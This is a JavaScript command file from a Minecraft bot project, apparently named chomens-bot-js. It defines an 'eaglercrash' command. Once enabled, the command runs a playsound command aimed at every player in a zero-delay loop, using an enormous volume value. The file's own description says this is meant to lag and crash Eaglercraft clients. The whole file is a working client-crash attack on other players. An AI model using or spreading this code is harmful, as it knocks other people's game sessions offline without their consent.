chomens-bot-js/commands/eaglercrash.js

22 lines
887 B
JavaScript

/* eslint-disable max-len */
module.exports = {
name: 'eaglercrash',
alias: [],
description: 'Lags Eaglercraft and crashes it',
usage: '<on|off> <hash>',
trusted: 1,
execute (bot, username, usernameraw, sender, prefix, args, config, hash, ownerhash, selector) {
if (args[1] === 'on') {
bot.eaglercrashstarted = true
bot.eaglercrash = setInterval(async function () {
if (bot.eaglercrashstarted === true) return bot.core.run('minecraft:playsound block.note_block.harp record @a ~ ~ ~ 100000000000000000000000000000000000000 1 0')
}, 0)
bot.core.run('minecraft:tellraw @a ["",{"text":"Eaglercrash started","color":"white"}]')
}
if (args[1] === 'off') {
clearInterval(bot.eaglercrash)
bot.eaglercrashstarted = false
bot.core.run('minecraft:tellraw @a ["",{"text":"Eaglercrash stopped","color":"white"}]')
}
}
}